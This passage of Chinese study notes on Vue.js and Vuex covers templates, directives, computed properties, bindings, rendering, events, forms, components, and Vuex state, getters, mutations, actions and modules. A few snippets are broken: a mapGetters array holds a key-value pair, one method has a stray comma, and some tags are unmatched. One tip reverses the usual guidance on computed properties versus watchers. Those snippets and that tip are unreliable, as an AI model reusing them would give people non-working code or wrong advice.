 73 |   <img src="../Image/lifecycle.png" width=650 />
 74 | </div>
 75 | 
 76 | ## 模板语法
 77 | 
 78 | ### 插值
 79 | 
 80 | 文本：
 81 | ```html
 82 | <span>Message: {{msg}}</span>
 83 | ```
 84 | 纯HTML：
 85 | ```html
 86 | <div v-html="rawHtml"></div>
 87 | ```
 88 | 
 89 | 特性：
 90 | ```html
 91 | <div v-bind:id="dynamicId"></div>
 92 | <!-- 在布尔特性的情况下，它们的存在即暗示为 true -->
 93 | <button v-bind:disabled="isButtonDisabled">Button</button>
 94 | ```
 95 | 使用 js 表达式：
 96 | ```html
 97 | {{ number + 1 }}
 98 | {{ ok ? 'YES' : 'NO' }}
 99 | ```
100 | 
101 | ### 指令
102 | 
103 | > 指令（Directives）是带有v-前缀的特殊属性。指令特性的值预期是单个 JavaScript 表达式。
104 | 
105 | 参数：
106 | > 一些指令能够接收一个“参数”，在指令名称之后以冒号表示。
107 | ```html
108 | <p v-if="seen">现在你看到我了</p>
109 | <a v-bind:href="url"></a>
110 | <a v-on:click="doSomethind"></a>
111 | ```
112 | 
113 | 修饰符：
114 | > 修饰符 (Modifiers) 是以半角句号 . 指明的特殊后缀，用于指出一个指令应该以特殊方式绑定。
115 | ```html
116 | <form v-on:submit.prevent="onSubmit"></form>
117 | ```
118 | 
119 | ### 缩写
120 | 
121 | ```html
122 | <a v-bind:href="url"></a>
123 | <a v-on:click="doSomething"></a>
124 | <!-- 缩写 -->
125 | <a :href="url"></a>
126 | <a @click="doSomethind"></a>
127 | ```
128 | 
129 | ## 计算属性和侦听器
130 | 
131 | ### 计算属性
132 | 
133 | 基础例子
134 | ```html
135 | <div id="example">
136 |   <p>Original message: "{{ message }}"</p>
137 |   <!-- 计算属性 -->
138 |   <p>Computed reversed message: "{{ reversedMessage }}"</p>
139 |   <!-- 方法 -->
140 |   <p>Computed reversed message: "{{ reversedMessage2() }}"</p>
141 | </div>
142 | ```
143 | ```js
144 | var vm = new Vue({
145 |   el: '#example',
146 |   data: {
147 |     message: 'Hello'
148 |   },
149 |   computed: {
150 |     // 计算属性的 getter
151 |     reversedMessage: function () {
152 |       // `this` 指向 vm 实例
153 |       return this.message.split('').reverse().join('')
154 |     }
155 |   },
156 |   methods: {
157 |     reversedMessage2: function () {
158 |       return this.message.split('').reverse().join('')
159 |     }
160 |   }
161 | })
162 | ```
163 | 
164 | 计算属性缓存 vs 方法
165 | 
166 | > 两种方式的最终结果是完全相同的。不同的是计算属性是基于它们的依赖进行缓存的。只在相关依赖发生改变时它们才会重新求值。相比之下，每当触发重新渲染时，调用方法将总会再次执行函数。
167 | 
168 | 计算属性 vs 侦听属性
169 | 
170 |     尽量使用侦听属性。
171 | 
172 | ### 侦听器
173 | 
174 | > 当需要在数据变化时执行异步或开销较大的操作时，这个方式是最有用的。
175 | 
176 | ## Class 与 Style 绑定
177 | 
178 | ### 绑定 HTML Class
179 | 
180 | 对象语法：
181 | ```html
182 | <div v-bind:class="{ active: isActive }"></div>
183 | <div class="static" v-bind:class="{ active: isActive, 'text-danger': hasError }"></div>
184 | <div v-bind:class="classObject"></div>
185 | ```
186 | ```js
187 | data: {
188 |   isActive: true,
189 |   hasError: false,
190 |   classObject: {
191 |     active: true,
192 |     'text-danger': false
193 |   }
194 | }
195 | ```
196 | **Note:** classObject 也可以是一个返回对象的计算属性。
197 | 
198 | 数组语法：
199 | ```html
200 | <div v-bind:class="[activeClass, errorClass]"></div>
201 | <div v-bind:class="[isActive ? activeClass : '', errorClass]"></div>
202 | <div v-bind:class="[{ active: isActive }, errorClass]"></div>
203 | ```
204 | ```js
205 | data: {
206 |   activeClass: 'active',
207 |   errorClass: 'text-danger',
208 |   isActive: true
209 | }
210 | ```
211 | 
212 | ### 绑定内联样式
213 | 
214 | 对象语法：
215 | ```html
216 | <div v-bind:style="{ color: activeColor, fontSize: fontSize + 'px' }"></div>
217 | <div v-bind:style="styleObject"></div>
218 | ```
219 | ```js
220 | data: {
221 |   activeColor: 'red',
222 |   fontSize: 30,
223 |   styleObject: {
224 |     color: 'red',
225 |     fontSize: '13px'
226 |   }
227 | }
228 | ```
229 | 
230 | 数组语法：
231 | ```html
232 | <div v-bind:style="[baseStyles, overridingStyles]"></div>
233 | ```
234 | 
235 | ## 条件渲染
236 | 
237 |   - v-if
238 |   - v-else-if
239 |   - v-else
240 |   - v-show
241 | 
242 | 实例：
243 | ```html
244 | <div v-if="type === 'A'">
245 |   A
246 | </div>
247 | <div v-else-if="type === 'B'">
248 |   B
249 | </div>
250 | <div v-else-if="type === 'C'">
251 |   C
252 | </div>
253 | <div v-else>
254 |   Not A/B/C
255 | </div>
256 | ```
257 | 
258 | **Note:**  
259 | 1、 v-show 不支持 `<template>` 元素，也不支持 v-else.  
260 | 2、 可以使用 key 管理可复用的元素。  
261 | 
262 | v-if vs v-show
263 | - v-if 是“真正”的条件渲染，因为它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建。
264 | - v-if 也是惰性的：如果在初始渲染时条件为假，则什么也不做——直到条件第一次变为真时，才会开始渲染条件块。
265 | - v-show 不管初始条件是什么，元素总是会被渲染，并且只是简单地基于 CSS 进行切换。
266 | - 一般来说，v-if 有更高的切换开销，而 v-show 有更高的初始渲染开销。因此，如果需要非常频繁地切换，则使用 v-show 较好；如果在运行时条件很少改变，则使用 v-if 较好。
267 | 
268 | ## 列表渲染
269 | 
270 | ### v-for 遍历数组和对象
271 | 
272 | ```html
273 | <!-- 遍历数组 -->
274 | <div v-for="item in items" :key="item.id">
275 |   <!-- 内容 -->
276 | </div>
277 | </ul>
278 | <!-- 遍历对象 -->
279 | <div v-for="(value, key, index) in object">
280 |   {{ index }}. {{ key }}: {{ value }}
281 | </div>
282 | ```
283 | ```js
284 | var example1 = new Vue({
285 |   el: '#example-1',
286 |   data: {
287 |     items: [
288 |       { message: 'Foo' },
289 |       { message: 'Bar' }
290 |     ],
291 |     object: {
292 |       firstName: 'John',
293 |       lastName: 'Doe',
294 |       age: 30
295 |     }
296 |   }
297 | })
298 | ```
299 | **Note:** 建议尽可能在使用 v-for 时提供 key。
300 | 
301 | ### 数组更新检测：
302 | 变异方法：
303 |     
304 |     改变原数组：
305 |     push(), pop(), shift(), unshift(),splice(),sort(),reverse()
306 | 
307 | 替换数组：
308 | 
309 |     返回新的数组：
310 |     filter(), concat(), slice()
311 | 
312 | 注意事项：
313 | 
314 | 由于 JavaScript 的限制，Vue 不能检测以下变动的数组：
315 | 
316 | - 当你利用索引直接设置一个项时，例如：vm.items[indexOfItem] = newValue
317 | - 当你修改数组的长度时，例如：vm.items.length = newLength
318 | 
319 | ### 对象更改检测注意事项
320 | 
321 |     由于 JavaScript 的限制，Vue 不能检测对象属性的添加或删除
322 |     可以使用 Vue.set(object, key, value) 方法向嵌套对象添加响应式属性
323 | ```js
324 | var vm = new Vue({
325 |   data: {
326 |     userProfile: {
327 |       name: 'Anika'
328 |     }
329 |   }
330 | })
331 | // 单个属性
332 | Vue.set(vm.userProfile, 'age', 27)
333 | // 多个属性
334 | vm.userProfile = Object.assign({}, vm.userProfile, {
335 |   age: 27,
336 |   favoriteColor: 'Vue Green'
337 | })
338 | ```
339 | 
340 | v-for with v-if
341 | 
342 | > 当它们处于同一节点，v-for 的优先级比 v-if 更高，这意味着 v-if 将分别重复运行于每个 v-for 循环中。
343 | 
344 | ## 事件处理
345 | 
346 | ### 监听事件
347 | 
348 | > 可以用 v-on 指令监听 DOM 事件
349 | ```html
350 | <button v-on:click="counter += 1">Add 1</button>
351 | <button v-on:click="greet">Greet</button>
352 | <!-- 内联处理器中的方法 -->
353 | <button v-on:click="say('hi', $event)">Say hi</button>
354 | ```
355 | ```js
356 | var vm = new Vue({
357 |   el: '#example',
358 |   data: {
359 |     counter: 0
360 |   },
361 |   // 在 `methods` 对象中定义方法
362 |   methods: {
363 |     greet: function (event) {
364 |       // `this` 在方法里指向当前 Vue 实例
365 |       alert('Hello ' + this.name + '!')
366 |       // `event` 是原生 DOM 事件
367 |       if (event) {
368 |         alert(event.target.tagName)
369 |       },
370 |     },
371 |     say: function (message, event) {
372 |       if (event) event.preventDefault()
373 |       alert(message)
374 |     }
375 |   }
376 | })
377 | ```
378 | **Note:** 原始的 DOM 事件，可以用特殊变量 $event 把它传入方法。
379 | 
380 | ### 事件修饰符
381 | 
382 | - .stop
383 | - .prevent
384 | - .capture
385 | - .self
386 | - .once
387 | - .passive
388 | 
389 | ```html
390 | <!-- 阻止单击事件继续传播 -->
391 | <a v-on:click.stop="doThis"></a>
392 | 
393 | <!-- 提交事件不再重载页面 -->
394 | <form v-on:submit.prevent="onSubmit"></form>
395 | 
396 | <!-- 修饰符可以串联 -->
397 | <a v-on:click.stop.prevent="doThat"></a>
398 | 
399 | <!-- 只有修饰符 -->
400 | <form v-on:submit.prevent></form>
401 | 
402 | <!-- 添加事件监听器时使用事件捕获模式 -->
403 | <!-- 即元素自身触发的事件先在此处理，然后才交由内部元素进行处理 -->
404 | <div v-on:click.capture="doThis">...</div>
405 | 
406 | <!-- 只当在 event.target 是当前元素自身时触发处理函数 -->
407 | <!-- 即事件不是从内部元素触发的 -->
408 | <div v-on:click.self="doThat">...</div>
409 | 
410 | <!-- 点击事件将只会触发一次 -->
411 | <a v-on:click.once="doThis"></a>
412 | 
413 | <!-- 滚动事件的默认行为 (即滚动行为) 将会立即触发 -->
414 | <!-- 而不会等待 `onScroll` 完成  -->
415 | <!-- 这其中包含 `event.preventDefault()` 的情况 -->
416 | <!-- 这个 .passive 修饰符尤其能够提升移动端的性能。 -->
417 | <div v-on:scroll.passive="onScroll">...</div>
418 | ```
419 | 
420 | ### 按键修饰符
421 | 
422 | ```html
423 | <!-- 只有在 `keyCode` 是 13 时调用 `vm.submit()` -->
424 | <input v-on:keyup.13="submit">
425 | 
426 | <!-- 同上 -->
427 | <input v-on:keyup.enter="submit">
428 | ```
429 | 
430 | 全部的按键别名：
431 | 
432 | - .enter
433 | - .tab
434 | - .delete (捕获“删除”和“退格”键)
435 | - .esc
436 | - .space
437 | - .up
438 | - .down
439 | - .left
440 | - .right
441 | 
442 | 系统修饰键
443 | 
444 | - .ctrl
445 | - .alt
446 | - .shift
447 | - .meta
448 | 
449 | .exact 修饰符
450 | 
451 | > .exact 修饰符允许你控制由精确的系统修饰符组合触发的事件。
452 | ```html
453 | <!-- 即使 Alt 或 Shift 被一同按下时也会触发 -->
454 | <button @click.ctrl="onClick">A</button>
455 | 
456 | <!-- 有且只有 Ctrl 被按下的时候才触发 -->
457 | <button @click.ctrl.exact="onCtrlClick">A</button>
458 | 
459 | <!-- 没有任何系统修饰符被按下的时候才触发 -->
460 | <button @click.exact="onClick">A</button>
461 | ```
462 | 
463 | 鼠标按钮修饰符
464 | 
465 | - .left
466 | - .right
467 | - .middle
468 | 
469 | ## 表单输入绑定
470 | 
471 | ### 基础用法
472 | > 你可以用 v-model 指令在表单 `<input>`、`<textarea>` 及 `<select>` 元素上创建双向数据绑定。它会根据控件类型自动选取正确的方法来更新元素。
473 | 
474 | ```html
475 | <p>Message is: {{ message }}</p>
476 | <!-- 文本 -->
477 | <input v-model="message" placeholder="edit me">
478 | 
479 | <!-- 多行文本 -->
480 | <textarea v-model="message" placeholder="add multiple lines"></textarea>
481 | 
482 | <!-- 单个复选框（多个复选框类型是数组） -->
483 | <input type="checkbox" id="checkbox" v-model="checked">
484 | 
485 | <!-- 单选按钮 -->
486 | <input type="radio" id="one" value="One" v-model="picked">
487 | <label for="one">One</label>
488 | <br>
489 | <input type="radio" id="two" value="Two" v-model="picked">
490 | <label for="two">Two</label>
491 | 
492 | <!-- 选择框 -->
493 | <select v-model="selected">
494 |   <option disabled value="">请选择</option>
495 |   <option>A</option>
496 |   <option>B</option>
497 | </select>
498 | ```
499 | 
500 | ### 值绑定
501 | 
502 | ```html
503 | <!-- 当选中时，`picked` 为字符串 "a" -->
504 | <input type="radio" v-model="picked" value="a">
505 | 
506 | <!-- 复选框，当选中时：vm.toggle === 'yes'，当没有选中时：vm.toggle === 'no' -->
507 | <input type="checkbox" v-model="toggle" true-value="yes" false-value="no">
508 | 
509 | <!-- 单选按钮,当选中时：vm.pick === vm.a -->
510 | <input type="radio" v-model="pick" v-bind:value="a">
511 | 
512 | <!-- 选择框的选项，当选中时：vm.selected.number => 123 -->
513 | <select v-model="selected">
514 |   <option v-bind:value="{ number: 123 }">123</option>
515 | </select>
516 | ```
517 | 
518 | ### 修饰符
519 | 
520 | > .lazy
521 | 
522 |     在默认情况下，v-model 在每次 input 事件触发后将输入框的值与数据进行同步 (除了上述输入法组合文字时)。你可以添加 lazy 修饰符，从而转变为使用 change 事件进行同步
523 | 
524 | ```html
525 | <!-- 在“change”时而非“input”时更新 -->
526 | <input v-model.lazy="msg" >
527 | ```
528 | 
529 | > .number
530 | 
531 |     如果想自动将用户的输入值转为数值类型，可以给 v-model 添加 number 修饰符
532 |     这通常很有用，因为即使在 type="number" 时，HTML 输入元素的值也总会返回字符串。
533 | 
534 | ```html
535 | <input v-model.number="age" type="number">
536 | ```
537 | 
538 | > .trim
539 | 
540 |     如果要自动过滤用户输入的首尾空白字符，可以给 v-model 添加 trim 修饰符
541 | 
542 | ```html
543 | <input v-model.trim="msg">
544 | ```
545 | 
546 | ## 组件基础
547 | 
548 | ### 基本示例
549 | 
550 | ```js
551 | // 定义一个名为 button-counter 的新组件
552 | Vue.component('button-counter', {
553 |   data: function () {
554 |     return {
555 |       count: 0
556 |     }
557 |   },
558 |   template: '<button v-on:click="count++">You clicked me {{ count }} times.</button>'
559 | })
560 | ```
561 | 
562 | ### 组件的复用
563 | 
564 | ```html
565 | <div id="components-demo">
566 |   <button-counter></button-counter>
567 |   <button-counter></button-counter>
568 |   <button-counter></button-counter>
569 | </div>
570 | ```
571 | 
572 | **Notice:**
573 | 
574 | 一个组件的 data 选项必须是一个函数，因此每个实例可以维护一份被返回对象的独立的拷贝。  
575 | 当点击按钮时，每个组件都会各自独立维护它的 count。  
576 | 
577 | ### 组件的组织
578 | 
579 | > 通常一个应用会以一棵嵌套的组件树的形式来组织：
580 | 
581 | ### 通过 Prop 向子组件传递数据
582 | 
583 | 1、可以把数据作为一个自定义特性传递  
584 | 2、可以使用 v-bind 来动态传递 prop
585 | 
586 | ```html
587 | <blog-post title="My journey with Vue"></blog-post>
588 | <blog-post :title="post.title"></blog-post>
589 | ```
590 | 
591 | ### 单个根元素
592 | 
593 | > 每个组件必须只有一个根元素。
594 | 
595 | ### 通过事件向父级组件发送消息
596 | 
597 | 使用事件抛出一个值
598 | 
599 |     $emit('method', data)
600 | 
601 | 在组件上使用 v-model
602 | 
603 | ```html
604 | <input v-model="searchText">
605 | <!-- 等价于 -->
606 | <input
607 |   v-bind:value="searchText"
608 |   v-on:input="searchText = $event.target.value"
609 | >
610 | <!-- 当用在组件上时 -->
611 | <custom-input
612 |   v-bind:value="searchText"
613 |   v-on:input="searchText = $event"
614 | ></custom-input>
615 | <!-- 定义组件后使用方式 -->
616 | <custom-input v-model="searchText"></custom-input>
617 | ```
618 | ```js
619 | Vue.component('custom-input', {
620 |   props: ['value'],
621 |   template: `
622 |     <input
623 |       v-bind:value="value"
624 |       v-on:input="$emit('input', $event.target.value)"
625 |     >
626 |   `
627 | })
628 | ```
629 | 
630 | ### 通过插槽分发内容
631 | 
632 | ```html
633 | <alert-box>
634 |   Something bad happened.
635 | </alert-box>
636 | ```
637 | ```js
638 | Vue.component('alert-box', {
639 |   template: `
640 |     <div class="demo-alert-box">
641 |       <strong>Error!</strong>
642 |       <slot></slot>
643 |     </div>
644 |   `
645 | })
646 | ```
647 | 渲染后：
648 | ```html
649 | <div class="demo-alert-box">
650 |   <strong>Error!</strong> 
651 |   Something bad happened.
652 | </div>
653 | ```
654 | 
655 | ### 动态组件
656 | 
657 | ```html
658 | <!-- 组件会在 `currentTabComponent` 改变时改变 -->
659 | <component v-bind:is="currentTabComponent"></component
660 | ```
661 | 
662 | ### 解析 DOM 模板时的注意事项
663 | 
664 | > 有些 HTML 元素，诸如 `<ul>`、`<ol>`、`<table>` 和 `<select>`，对于哪些元素可以出现在其内部是有严格限制的。而有些元素，诸如 `<li>`、`<tr>` 和 `<option>`，只能出现在其它某些特定的元素内部。
665 | 


--------------------------------------------------------------------------------
/Vue/Docs/Vuex.md:
--------------------------------------------------------------------------------
  1 | # Vuex 笔记
  2 | 
  3 | * [State](#state)
  4 | * [Getter](#getter)
  5 | * [Mutation](#mutation)
  6 | * [Action](#action)
  7 | * [Module](#module)
  8 | 
  9 | > 每一个 Vuex 应用的核心就是 store（仓库）。“store”基本上就是一个容器，它包含着你的应用中大部分的状态 (state)。
 10 | 
 11 | 每一个Vuex应用的核心就是store。它和单纯的全局变量有两点不同：
 12 | 
 13 |     1、Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候，若 store 中的状态发生变化，那么相应的组件也会相应地得到高效更新。
 14 |     2、你不能直接改变 store 中的状态。改变 store 中的状态的唯一途径就是显式地提交 (commit) mutation。
 15 | 
 16 | 实例：
 17 | ```js
 18 | // 如果在模块化构建系统中，请确保在开头调用了 Vue.use(Vuex)
 19 | 
 20 | const store = new Vuex.Store({
 21 |   state: {
 22 |     count: 0
 23 |   },
 24 |   mutations: {
 25 |     increment (state) {
 26 |       state.count++
 27 |     }
 28 |   }
 29 | })
 30 | ```
 31 | 
 32 | ## State
 33 | 
 34 | ### 单一状态树
 35 | 
 36 | > Vuex 使用单一状态树 —— 用一个对象就包含了全部的应用层级状态。
 37 | 
 38 | ### 在 Vue 组件中获得 Vuex 状态
 39 | 
 40 | 1、在计算属性中返回某个状态（需要使用 state 的组件中需要导入）。
 41 | ```js
 42 | // 创建一个 Counter 组件
 43 | const Counter = {
 44 |   template: `<div>{{ count }}</div>`,
 45 |   computed: {
 46 |     count () {
 47 |       return store.state.count
 48 |     }
 49 |   }
 50 | }
 51 | ```
 52 | 
 53 | 2、将状态从根组件“注入”到每一个子组件中，子组件能通过 this.$store 访问到。
 54 | ```js
 55 | const app = new Vue({
 56 |   el: '#app',
 57 |   // 把 store 对象提供给 “store” 选项，这可以把 store 的实例注入所有的子组件
 58 |   store,
 59 |   components: { Counter },
 60 |   template: `
 61 |     <div class="app">
 62 |       <counter></counter>
 63 |     </div>
 64 |   `
 65 | })
 66 | ```
 67 | ```js
 68 | const Counter = {
 69 |   template: `<div>{{ count }}</div>`,
 70 |   computed: {
 71 |     count () {
 72 |       return this.$store.state.count
 73 |     }
 74 |   }
 75 | }
 76 | ```
 77 | 
 78 | 3、使用 mapState 辅助函数
 79 | 
 80 | ```js
 81 | // 在单独构建的版本中辅助函数为 Vuex.mapState
 82 | import { mapState } from 'vuex'
 83 | 
 84 | export default {
 85 |   // ...
 86 |   computed: mapState({
 87 |     // 箭头函数可使代码更简练
 88 |     count: state => state.count,
 89 | 
 90 |     // 传字符串参数 'count' 等同于 `state => state.count`
 91 |     countAlias: 'count',
 92 | 
 93 |     // 为了能够使用 `this` 获取局部状态，必须使用常规函数
 94 |     countPlusLocalState (state) {
 95 |       return state.count + this.localCount
 96 |     }
 97 |   })
 98 | }
 99 | ```
100 | 
101 | > 当映射的计算属性的名称与 state 的子节点名称相同时，我们也可以给 mapState 传一个字符串数组
102 | ```js
103 | computed: mapState([
104 |   // 映射 this.count 为 store.state.count
105 |   'count'
106 | ])
107 | ```
108 | 
109 | ### 对象展开运算符
110 | 
111 |   mapState 函数返回的是一个对象。使用对象展开运算符使 mapState 与局部计算属性混合使用。
112 | ```js
113 | computed: {
114 |   localComputed () { /* ... */ },
115 |   // 使用对象展开运算符将此对象混入到外部对象中
116 |   ...mapState({
117 |     // ...
118 |   })
119 | }
120 | ```
121 | 
122 | ## Getter
123 | 
124 | 有时候我们需要从 store 中的 state 中派生出一些状态，如果有多个组件需要用到此属性，可以使用 Getter。
125 | 
126 | > Vuex 允许我们在 store 中定义“getter”（可以认为是 store 的计算属性）。就像计算属性一样，getter 的返回值会根据它的依赖被缓存起来，且只有当它的依赖值发生了改变才会被重新计算。
127 | 
128 | - Getter 接受 state 作为其第一个参数  
129 | - Getter 也可以接受其他 getter 作为第二个参数
130 | ```js
131 | const store = new Vuex.Store({
132 |   state: {
133 |     todos: [
134 |       { id: 1, text: '...', done: true },
135 |       { id: 2, text: '...', done: false }
136 |     ]
137 |   },
138 |   getters: {
139 |     doneTodos: state => {
140 |       return state.todos.filter(todo => todo.done)
141 |     },
142 |     doneTodosCount: (state, getters) => {
143 |       return getters.doneTodos.length
144 |     }
145 |   }
146 | })
147 | ```
148 | 
149 | ### 通过属性访问
150 | 
151 | ```js
152 | // 方式一
153 | store.getters.doneTodos // -> [{ id: 1, text: '...', done: true }]
154 | // 方式二
155 | computed: {
156 |   doneTodosCount () {
157 |     return this.$store.getters.doneTodosCount
158 |   }
159 | }
160 | ```
161 | 
162 | ### 通过方法访问
163 | 
164 | ```js
165 | getters: {
166 |   // ...
167 |   getTodoById: (state) => (id) => {
168 |     return state.todos.find(todo => todo.id === id)
169 |   }
170 | }
171 | ```
172 | ```js
173 | store.getters.getTodoById(2) // -> { id: 2, text: '...', done: false }
174 | ```
175 | **Notice:** getter 在通过方法访问时，每次都会去进行调用，而不会缓存结果。
176 | 
177 | ### mapGetters 辅助函数
178 | 
179 | > mapGetters 辅助函数仅仅是将 store 中的 getter 映射到局部计算属性
180 | 
181 | ```js
182 | import { mapGetters } from 'vuex'
183 | 
184 | export default {
185 |   // ...
186 |   computed: {
187 |   // 使用对象展开运算符将 getter 混入 computed 对象中
188 |     ...mapGetters([
189 |       doneCount: 'doneTodosCount'
190 |       'anotherGetter',
191 |       // ...
192 |     ])
193 |   }
194 | }
195 | ```
196 | 
197 | ## Mutation
198 | 
199 |     更改 Vuex 的 store 中的状态的唯一方法是提交 mutation。Vuex 中的 mutation 非常类似于事件：每个 mutation 都有一个字符串的事件类型 (type) 和 一个回调函数 (handler)。Mutation 必须是同步函数。
200 | 
201 | 定义：
202 | ```js
203 | const store = new Vuex.Store({
204 |   state: {
205 |     count: 1
206 |   },
207 |   mutations: {
208 |     increment (state) {
209 |       // 变更状态
210 |       state.count++
211 |     }
212 |   }
213 | })
214 | ```
215 | 
216 | 调用：
217 | ```js
218 | store.commit('increment')
219 | ```
220 | 
221 | ### 提交载荷（Payload）
222 | 
223 | ```js
224 | // ...
225 | mutations: {
226 |   increment (state, payload) {
227 |     state.count += payload.amount
228 |   }
229 | }
230 | ```
231 | 提交：
232 | ```js
233 | store.commit('increment', {
234 |   amount: 10
235 | })
236 | ```
237 | 
238 | 对象风格的提交方式：
239 | ```js
240 | store.commit({
241 |   type: 'increment',
242 |   amount: 10
243 | })
244 | ```
245 | 
246 | ### Mutation 需遵守 Vue 的响应规则
247 | 
248 | 1、最好提前在你的 store 中初始化好所有所需属性。  
249 | 2、当需要在对象上添加新属性时，你应该
250 |   - 使用 Vue.set(obj, 'newProp', 123), 或者
251 |   - 以新对象替换老对象。（state.obj = { ...state.obj, newProp: 123 }）
252 | 
253 | ### 使用常量替代 Mutation 事件类型
254 | 
255 | ```js
256 | // mutation-types.js
257 | export const SOME_MUTATION = 'SOME_MUTATION'
258 | ```
259 | ```js
260 | // store.js
261 | import Vuex from 'vuex'
262 | import { SOME_MUTATION } from './mutation-types'
263 | 
264 | const store = new Vuex.Store({
265 |   state: { ... },
266 |   mutations: {
267 |     // 我们可以使用 ES2015 风格的计算属性命名功能来使用一个常量作为函数名
268 |     [SOME_MUTATION] (state) {
269 |       // mutate state
270 |     }
271 |   }
272 | })
273 | ```
274 | 
275 | ### 在组件中提交 Mutation
276 | 
277 |     你可以在组件中使用 this.$store.commit('xxx') 提交 mutation，或者使用 mapMutations 辅助函数将组件中的 methods 映射为 store.commit 调用（需要在根节点注入 store）。
278 | 
279 | ```js
280 | import { mapMutations } from 'vuex'
281 | 
282 | export default {
283 |   // ...
284 |   methods: {
285 |     ...mapMutations([
286 |       'increment', // 将 `this.increment()` 映射为 `this.$store.commit('increment')`
287 | 
288 |       // `mapMutations` 也支持载荷：
289 |       'incrementBy' // 将 `this.incrementBy(amount)` 映射为 `this.$store.commit('incrementBy', amount)`
290 |     ]),
291 |     ...mapMutations({
292 |       add: 'increment' // 将 `this.add()` 映射为 `this.$store.commit('increment')`
293 |     })
294 |   }
295 | }
296 | ```
297 | 
298 | ## Action
299 | 
300 | Action 类似于 mutation，不同在于：
301 | * Action 提交的是 mutation，而不是直接变更状态。
302 | * Action 可以包含任意异步操作。
303 | 
304 | 定义：
305 | ```js
306 | const store = new Vuex.Store({
307 |   state: {
308 |     count: 0
309 |   },
310 |   mutations: {
311 |     increment (state) {
312 |       state.count++
313 |     }
314 |   },
315 |   actions: {
316 |     increment1 (context) {
317 |       context.commit('increment')
318 |     },
319 |     increment2 ({ commit }) {
320 |       commit('increment')
321 |     }
322 |   }
323 | })
324 | ```
325 | Action 函数接受一个与 store 实例具有相同方法和属性的 context 对象
326 | 
327 | ### 分发 Action
328 | 
329 | ```js
330 | store.dispatch('increment')
331 | ```
332 | 
333 | ### 在组件中分发 Action
334 | 
335 |     在组件中使用 this.$store.dispatch('xxx') 分发 action，或者使用 mapActions 辅助函数将组件的 methods 映射为 store.dispatch 调用（需要先在根节点注入 store）
336 | 
337 | ```js
338 | import { mapActions } from 'vuex'
339 | 
340 | export default {
341 |   // ...
342 |   methods: {
343 |     ...mapActions([
344 |       'increment', // 将 `this.increment()` 映射为 `this.$store.dispatch('increment')`
345 | 
346 |       // `mapActions` 也支持载荷：
347 |       'incrementBy' // 将 `this.incrementBy(amount)` 映射为 `this.$store.dispatch('incrementBy', amount)`
348 |     ]),
349 |     ...mapActions({
350 |       add: 'increment' // 将 `this.add()` 映射为 `this.$store.dispatch('increment')`
351 |     })
352 |   }
353 | }
354 | ```
355 | 
356 | ### 组合 Action
357 | 
358 | 定义：
359 | ```js
360 | actions: {
361 |   actionA ({ commit }) {
362 |     return new Promise((resolve, reject) => {
363 |       setTimeout(() => {
364 |         commit('someMutation')
365 |         resolve()
366 |       }, 1000)
367 |     })
368 |   },
369 |   actionB ({ dispatch, commit }) {
370 |     return dispatch('actionA').then(() => {
371 |       commit('someOtherMutation')
372 |     })
373 |   }
374 | }
375 | ```
376 | 调用：
377 | ```js
378 | store.dispatch('actionA').then(() => {
379 |   // ...
380 | })
381 | ```
382 | 
383 | ## Module
384 | 
385 | >  Vuex 允许我们将 store 分割成模块（module）。每个模块拥有自己的 state、mutation、action、getter、甚至是嵌套子模块
386 | 
387 | ```
388 | const moduleA = {
389 |   state: { ... },
390 |   mutations: { ... },
391 |   actions: { ... },
392 |   getters: { ... }
393 | }
394 | 
395 | const moduleB = {
396 |   state: { ... },
397 |   mutations: { ... },
398 |   actions: { ... }
399 | }
400 | 
401 | const store = new Vuex.Store({
402 |   modules: {
403 |     a: moduleA,
404 |     b: moduleB
405 |   }
406 | })
407 | 
408 | store.state.a // -> moduleA 的状态
409 | store.state.b // -> moduleB 的状态
410 | ```
411 | 
412 | ### 模块的局部状态
413 | 
414 | - 对于模块内部的 mutation, action 和 getter，接收的第一个参数是模块的局部状态对象，根节点状态则为 context.rootState。
415 | - 对于模块内部的 getter，根节点状态会作为第三个参数暴露出来。
416 | 
417 | ```js
418 | const moduleA = {
419 |   // ...
420 |   actions: {
421 |     incrementIfOddOnRootSum ({ state, commit, rootState }) {
422 |       if ((state.count + rootState.count) % 2 === 1) {
423 |         commit('increment')
424 |       }
425 |     }
426 |   }
427 | }
428 | ```
429 | ```js
430 | const moduleA = {
431 |   // ...
432 |   getters: {
433 |     sumWithRootCount (state, getters, rootState) {
434 |       return state.count + rootState.count
435 |     }
436 |   }
437 | }
438 | ```
439 | 
440 | ### 命名空间
441 | 
442 | - 默认情况下，模块内部的 action、mutation 和 getter 是注册在全局命名空间的——这样使得多个模块能够对同一 mutation 或 action 作出响应。
443 | 
444 | - 如果希望你的模块具有更高的封装度和复用性，你可以通过添加 namespaced: true 的方式使其成为带命名空间的模块。当模块被注册后，它的所有 getter、action 及 mutation 都会自动根据模块注册的路径调整命名。
445 | 
446 | ```js
447 | const store = new Vuex.Store({
448 |   modules: {
449 |     account: {
450 |       namespaced: true,
451 | 
452 |       // 模块内容（module assets）
453 |       state: { ... }, // 模块内的状态已经是嵌套的了，使用 `namespaced` 属性不会对其产生影响
454 |       getters: {
455 |         isAdmin () { ... } // -> getters['account/isAdmin']
456 |       },
457 |       actions: {
458 |         login () { ... } // -> dispatch('account/login')
459 |       },
460 |       mutations: {
461 |         login () { ... } // -> commit('account/login')
462 |       },
463 | 
464 |       // 嵌套模块
465 |       modules: {
466 |         // 继承父模块的命名空间
467 |         myPage: {
468 |           state: { ... },
469 |           getters: {
470 |             profile () { ... } // -> getters['account/profile']
471 |           }
472 |         },
473 | 
474 |         // 进一步嵌套命名空间
475 |         posts: {
476 |           namespaced: true,
477 | 
478 |           state: { ... },
479 |           getters: {
480 |             popular () { ... } // -> getters['account/posts/popular']
481 |           }
482 |         }
483 |       }
484 |     }
485 |   }
486 | })
487 | ```
488 | 
489 | 在带命名空间的模块内访问全局内容（Global Assets）
490 | 
491 | 略
492 | 
493 | 在带命名空间的模块注册全局 action
494 | 
495 |     若需要在带命名空间的模块注册全局 action，你可添加 root: true，并将这个 action 的定义放在函数 handler 中。
496 | 
497 | 带命名空间的绑定函数
498 | 
499 | ```js
500 | computed: {
501 |   ...mapState('some/nested/module', {
502 |     a: state => state.a,
503 |     b: state => state.b
504 |   })
505 | },
506 | methods: {
507 |   ...mapActions('some/nested/module', [
508 |     'foo', // -> this.foo()
509 |     'bar' // -> this.bar()
510 |   ])
511 | }
512 | ```
513 | **Note:** 或者使用 createNamespacedHelpers 创建基于某个命名空间辅助函数。
514 | 
